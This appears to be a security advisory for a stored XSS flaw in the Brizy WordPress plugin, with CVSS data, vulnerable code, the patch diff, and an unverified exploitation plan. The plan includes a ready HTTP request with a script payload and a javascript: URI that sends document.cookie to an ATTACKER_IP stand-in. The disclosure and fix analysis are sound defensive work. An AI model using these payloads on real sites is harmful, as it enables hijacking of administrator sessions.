CVE-2026-5324

Brizy – Page Builder <= 2.8.11 - Unauthenticated Stored Cross-Site Scripting via FileUpload Field Value

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.8.12
Patched in
1d
Time to patch

Description

The Brizy – Page Builder plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in all versions up to, and including, 2.8.11 This is due to a combination of missing nonce verification for unauthenticated form submissions, insufficient handling of FileUpload fields when no file is uploaded, and the reversal of security encoding via html_entity_decode() followed by unescaped output in the admin view. The submit_form() function skips nonce verification for non-logged-in users (api.php:198). The handleFileTypeFields() function fails to overwrite user-supplied values when no file is attached. While htmlentities() is applied during storage, html_entity_decode() reverses this on display (form-entries.php:79). The form-data.php template outputs FileUpload values directly in href attributes without esc_url(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form Leads page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.11
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginbrizy

What Changed in the Fix

Changes introduced in v2.8.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5324 (Brizy Stored XSS) ## 1. Vulnerability Summary The **Brizy – Page Builder** plugin for WordPress (up to 2.8.11) contains a critical flaw allowing unauthenticated stored cross-site scripting. The vulnerability exists because the plugin's form submission ha…

Show full research plan

Exploitation Research Plan: CVE-2026-5324 (Brizy Stored XSS)

1. Vulnerability Summary

The Brizy – Page Builder plugin for WordPress (up to 2.8.11) contains a critical flaw allowing unauthenticated stored cross-site scripting. The vulnerability exists because the plugin's form submission handler (submit_form()) fails to verify nonces for unauthenticated users and improperly processes FileUpload fields. While fields are initially encoded during storage, the admin view (admin/views/form-data.php) reverses this encoding via html_entity_decode() and outputs the data directly into a link's href attribute and text content without proper sanitization (e.g., esc_url() or esc_html()).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: brizy_submit_form (handled by Brizy_Editor_Forms_Api::submit_form)
  • Vulnerable Parameter: data (JSON-encoded string)
  • Authentication: None required (specifically allowed for nopriv users).
  • Precondition: A Brizy form must exist on the site to provide a valid form_id.
  • Target Sink: The "Leads" page in the WordPress admin dashboard where form submissions are viewed.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=brizy_submit_form.
  2. Nonce Skip: Inside Brizy_Editor_Forms_Api::submit_form() (in editor/forms/api.php at line 198), the code checks if ( is_user_logged_in() ). Since the attacker is not logged in, the wp_verify_nonce block is skipped.
  3. Form Retrieval: The code retrieves the form object using $_REQUEST['form_id'].
  4. Data Parsing: The $_REQUEST['data'] parameter is parsed via json_decode(stripslashes($_REQUEST['data'])).
  5. Field Processing: The filter brizy_form_submit_data triggers handleFileTypeFields(). If a field's type is FileUpload but no actual file is uploaded in $_FILES, the user-supplied string value in the JSON data is retained.
  6. Storage: The malicious string (e.g., a javascript: URI or a tag breakout) is stored in the database (likely in a Custom Post Type for "Leads").
  7. Execution (Sink): When an admin views the "Leads" details, admin/views/form-data.php renders the field.
    • It checks if ( $type == 'FileUpload' ).
    • It echoes the value inside an <a> tag's href attribute and its inner text:
      <a href="<?php echo $field->value; ?>" target="_blank">
          <?php echo $field->value; ?>
      </a>
      
    • Since no esc_url() or esc_html() is used, the XSS payload executes.

4. Nonce Acquisition Strategy

No nonce is required.
The source code in editor/forms/api.php explicitly shows:

public function submit_form() {
    if ( is_user_logged_in() ) {
        if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {
            $this->error( 401, 'Please refresh the page and try again.' );
        }
    }
    // Execution continues for non-logged-in users without nonce check

Because the nopriv handler is registered, unauthenticated users can reach this logic without satisfying the is_user_logged_in() check, thus bypassing the nonce requirement entirely.

5. Exploitation Strategy

Step 1: Discover a Form ID

The attacker needs a valid form_id from a published Brizy page.

  1. Use browser_navigate to visit the site's homepage or any page built with Brizy.
  2. Use browser_eval to find the form ID:
    document.querySelector('[data-form-id]')?.getAttribute('data-form-id')

Step 2: Submit the Malicious Payload

Send a POST request to admin-ajax.php.

  • Payload: "><script>alert(document.domain)</script>
  • Request Details:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=brizy_submit_form&form_id=FORM_ID_HERE&data=[{"name":"upload_field","value":"\"><script>alert(document.domain)</script>","type":"FileUpload","label":"Proof"}]

6. Test Data Setup

To ensure the environment is ready for the PoC:

  1. Create a Page: Create a new page and set it as a Brizy page.
  2. Inject a Form: Since adding a Brizy form via CLI is complex, the PoC should use wp eval to simulate the existence of a form or check for any existing Brizy form posts.
  3. Command:
    # Create a page and a mock form via the Brizy FormManager
    wp eval '
    $manager = new Brizy_Editor_Forms_FormManager(Brizy_Editor_Project::get());
    $form = new Brizy_Editor_Forms_Form();
    $form->setId("exploit-form-123");
    $form->setLabel("Exploit Test Form");
    $manager->addForm($form);
    '
    

7. Expected Results

  • The AJAX response should return {"success":true,...}.
  • In the WordPress Admin Dashboard, navigating to Brizy > Leads, the new entry will appear.
  • Clicking "View" or "Details" on the lead will trigger the admin/views/form-data.php template.
  • The browser will execute the alert(document.domain) script because the value is rendered unsanitized in the href and text of the <a> tag.

8. Verification Steps

After the HTTP request, verify the payload is stored in the database:

# Check the custom post type for leads (usually 'brizy-lead' or stored in options)
wp post list --post_type=brizy-lead --format=json
# Or check the specific meta/content if stored as JSON
wp db query "SELECT post_content FROM wp_posts WHERE post_type='brizy-lead' ORDER BY ID DESC LIMIT 1;"

9. Alternative Approaches

If the "><script> breakout fails due to earlier htmlentities() encoding that isn't decoded in the specific test version, use a javascript: URI:

  • Payload: javascript:fetch('http://ATTACKER_IP/?c='+document.cookie)
  • This payload is highly effective because it is placed directly into the href attribute. The admin only needs to click the "file link" in the Leads view to trigger it, though a direct tag breakout is preferred for zero-interaction execution if form-data.php is rendered on the summary page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Brizy – Page Builder plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to a missing nonce check for logged-out users in its form submission handler and improper handling of file upload metadata. Attackers can submit malicious payloads in fields designated as FileUpload, which are then rendered unsanitized in the admin 'Leads' view, allowing for arbitrary script execution in an administrator's session.

Vulnerable Code

// editor/forms/api.php:198 - Nonce verification is skipped for unauthenticated users
public function submit_form() {
    if ( is_user_logged_in() ) {
        if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {
            $this->error( 401, 'Please refresh the page and try again.' );
        }
    }

---

// admin/views/form-data.php:9-13 - FileUpload values are output without escaping
<?php if ( $type == 'FileUpload' ): ?>
    <span id="<?php echo esc_attr($field->name); ?>">
        <a href="<?php echo $field->value; ?>" target="_blank">
            <?php echo $field->value; ?>
        </a>
    </span>

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/brizy/2.8.11/admin/views/form-data.php	2024-08-01 13:33:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/brizy/2.8.12/admin/views/form-data.php	2026-04-09 07:49:02.000000000 +0000
@@ -4,17 +4,17 @@
         <?php $type  = isset( $field->type ) ? $field->type : 'Text'; ?>
         <li>
             <label for="<?php echo esc_attr($field->name); ?>">
-                <?php echo strip_tags( $label ); ?>
+                <?php echo esc_html( strip_tags( $label ) ); ?>
             </label>:
             <?php if ( $type == 'FileUpload' ): ?>
                 <span id="<?php echo esc_attr($field->name); ?>">
-                    <a href="<?php echo $field->value; ?>" target="_blank">
-                        <?php echo $field->value; ?>
+                    <a href="<?php echo esc_url( $field->value ); ?>" target="_blank">
+                        <?php echo esc_html( $field->value ); ?>
                     </a>
                 </span>
             <?php else: ?>
                 <span id="<?php echo esc_attr($field->name); ?>" class="formData-<?php echo strtolower( esc_attr( $type ) ); ?>">
-                    <?php echo strip_tags( $field->value, '<br>' ); ?>
+                    <?php echo wp_kses( $field->value, array( 'br' => array() ) ); ?>
                 </span>
             <?php endif; ?>
         </li>
--- /home/deploy/wp-safety.org/data/plugin-versions/brizy/2.8.11/editor/forms/api.php	2024-08-16 10:43:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/brizy/2.8.12/editor/forms/api.php	2026-04-09 07:49:02.000000000 +0000
@@ -297,6 +297,11 @@
 
         foreach ($fields as $field) {
             if ($field->type == 'FileUpload') {
+                if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ]['name'] ) ) {
+                    $field->value = '';
+                    continue;
+                }
+
                 $uFile = $_FILES[$field->name];
 
                 foreach ($_FILES[$field->name]['name'] as $index => $value) {

Exploit Outline

1. Identify a valid `form_id` on a target WordPress site using Brizy (discoverable via `data-form-id` attributes in the page source). 2. Construct an AJAX POST request to `wp-admin/admin-ajax.php` with the action `brizy_submit_form`. 3. In the `data` parameter, provide a JSON-encoded array containing a field object where `type` is set to `FileUpload` and `value` contains an XSS payload (e.g., `"><script>alert(1)</script>`). 4. Omit the `nonce` parameter. Because the attacker is unauthenticated, the plugin's `submit_form` logic will skip nonce verification. 5. When an administrator navigates to the 'Brizy' -> 'Leads' menu in the WordPress dashboard and views the details of the new submission, the payload will execute because the value is rendered directly into an `<a>` tag without URI escaping or HTML entity encoding.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.